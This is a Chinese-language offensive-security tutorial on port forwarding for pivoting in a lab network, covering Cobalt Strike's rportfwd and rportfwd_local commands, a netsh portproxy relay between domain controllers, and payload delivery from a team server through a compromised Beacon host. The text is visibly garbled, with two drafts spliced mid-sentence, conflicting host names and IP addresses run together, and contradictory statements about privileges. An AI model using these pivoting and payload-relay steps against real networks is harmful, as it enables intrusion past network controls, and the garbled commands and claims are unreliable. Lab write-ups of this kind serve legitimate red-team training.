端口转发
端口转发是计算机网络中使用的一种技术,允许外部设备连接到专用网络内的特定设备,这是通过将通信请求从一个 IP 地址和端口号转发到另一个 IP 地址和端口号来实现的。而在跳板 (Pivoting) 的上下文中,攻击者可以通过正向端口转发技术来绕过网络限制访问其他的主机,或者通过逆向端口转发让无法访问外部网络的主机与攻击者的主机得以通信。
一个实际的例子,攻击者攻陷了边界主机 B,并且实现了对内部网络其他主机的代码执行能力。当攻击者试图让内部主机 C 运行 Beacon 并获得会话的时候发现主机 C 不能与互联网通信,即无法连接到我们的转发器 A 上。因为 B 与 C 有着共同的网卡接口,因此内部网络的访问控制相对宽松,B 与 C 之间有着能互相通信的端口,而 B 能与转发器 A 直接通信,因此攻击者可以将 B 作为 A 与 C 之间的中继主机。
以上是个很实际的情况,在我们的靶场中,为了降低复杂度,并没有设置诸多基于网络的访问控制,即一切都是最理想的情况。例如 white-bird 域中,Web02 是边界主机,如果 Dc05 不能连接互联网,那么我们可以将 转发器VPS 的 443 一端口逆向转发到 Web02 上。这样,当 Dc05 访问 Web02 的 443端该端口时,就像在直接访问转发器 VPS 的 443 该端口。
在 CobaltStrike 中,rportfwd 命令可以用于创建逆向端口转发可以使一台主机隧道。在 Web02 上,我们执行命令 rportfwd 8180 127.0.0.1 8180,这样,我们将传入团队服务器的数据重定向 8180 端口转发到特定了 Web02 的IP和 8180 端口。
当 Dc05 访问 Web02 的 8180 端口时,团队服务器的 8180 端口会有访问记录。
对于 rportfwd 命令,我们需要注意该命令先隧道了传向团队服务器的流量,然后团队服务器再将流量传递给目标,因此该命令不用于在内部主机之间中继流量。并且,这些流量是包含在 C2 流量中的,而不是作为单独的套接字。如果我们没有管理员权限,只能使用高端口号。
CS 还有这 rportfwd_local 命令,与 rportfwd 有所不同的是,前者将流量隧道至 CS 客户端而非团队服务器,其余用法则相同。因为也有很多时候我们在运行 CS 客户端的主机上使用其他工具,这会很有用。
此外,我们还可以使得通过 netsh 来实现端口转发,这在内部主机绕过防火墙以及直接中继流量会尤其他的方便,因为即便是内网,也会存在着网络隔离限制,域与原本不能通信域之间也默认开启着防火墙 (尽管我手动关闭了)。假设这么一种情况,white-bird 域中的节点通信。举个例子,A与B能 Dc05 可以与 raven-med 域中的 Dc02 互相连通信,B与C能Dc02 与 med-factory 域中的 Dc03 互相连通信,但A与C不 Dc05 与 Dc03 互相不连通。考虑到域信任的关系,这在实际中是可能逆向端口转发存在的情况。那么,我们可以使B作让与 Dc05 以及 Dc03 都连通的 Dc02 作为中继,让A与C通过B来完成通信主要有两种方法可以帮助我们实现逆向端口转发netsh与C2框架自带的逆向端口转发功能
。
示意图我们在 Dc03 上运行该脚本:
$endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::Any, 4444)
$listener = New-Object System.Net.Sockets.TcpListener $endpoint
$listener.Start()
Write-Host "Listening on port 4444"
while ($true)
{
$client = $listener.AcceptTcpClient()
Write-Host "A client has connected"
$client.Close()
}
编写一个powershell脚本来测试连通
这个脚本绑定了4444端 4444 端口,如果有任何外来通信连接到该端口,那么会输出消息。接着,在 Dc02 上使用 netsh 添加一个 v4tov4 代理:
在cyberbotic.io的dc-1主机上试图连接subsidiary.external的主机,使用Test-NetConnection测试连通性,目前是无法连通在中继主机dc-2上,使用netsh工具创建一个v4tov4代理:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.14.55172.16.1.31 connectport=connectport 4444 protocol=tcp
执行后不会有任何输出,但可以通过
该命令:指定了 Dc02 上绑定的网卡接口以及端口,转发至的目标主机的地址以及端口,协议为 TCP。添加完成后,使用命令 netsh interface portproxy show v4tov4来确认v4tov4 来罗列刚才添加的代理
规则:
接着Dc05 上,在dc-1主机上尝试使用 Test-NetConnection 来连接中继主机dc-2的4444端口,也就是设置了代理 Dc02 的 4444 端口,我们会发现ad主机 Dc03 上持续运行的脚本显示有客户端进行了连接因此了,说明 Dc05 对于 Dc03 的访问通过netsh设置v4tov4的代理 Dc02 的中继达成了。
最后,我们能让原本不能互相通信的subidiary.external与cyberbotic.io通过dev.cyberbotic.io中继来互相通信了移除v4tov4代理可以使用如下命令:移除添加的 v4tov4 代理。
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
需要管理员特权,且是套接字之间的连接,不适用于网络设备
接下来我们来看Beacon交互中的rportfwd命令。我们知道,载荷是可以通过TS的Web进行发放的,如果目标主机不能直接访问到TS或者TS的Web端口,我们可以使用rportfwd命令来实现逆向 netsh 添加端口转发举个例子TS:80 <=> Beacon1:8080 <=> Beacon2Beacon1可以与TS互相通信,Beacon2无法连接与TS的80端口互相通信,那么我们可以在Beacon1中输入命令:rportfwd 8080 TS.IP 80
在dc-2主机上访问TS使用Web部署的载荷:iwr http:// 10.10.5.120/a结果是无法连通。我们在WKSTN-1的Beacon中执行rportfwd 8080 10.10.5.120 80,因为WKSTN-1既可以与TS互相连通,也可以与dc-2互相连通。这样dc-2的请求可以通过WKSTN-1的8080端口转发到TS的80端口,反之亦然。在dc-2上访问wkstn-1的8080端口:iwr http://10.10.17.231:8080/a这次规则,我们能在TS的Web log中看到dc-2的访问记录了
如果要停止,使用命令:rportfwd stop 8080值得注意的是1:Beacon的逆向端口代理总是将数据隧道至TS,以及使TS将数据送到目标。不应该被用于中继单独主机的流量2:数据被隧道至Beacon的C2数据,而不是独立的套接字3:当端口数值高的话,不需要成为管理员特权,无论端口号高低。
rportfwd_local类似于rportfwd,区别是该命令将数据隧道至运行CS客户端的主机,而不是TS。如果我们想用Kali上的工具执行任务,会很方便我们可以在Kali主机上用Python开启一个不同于80端口的Web服务器,以此来验证rportfwd_local与rportfw的不同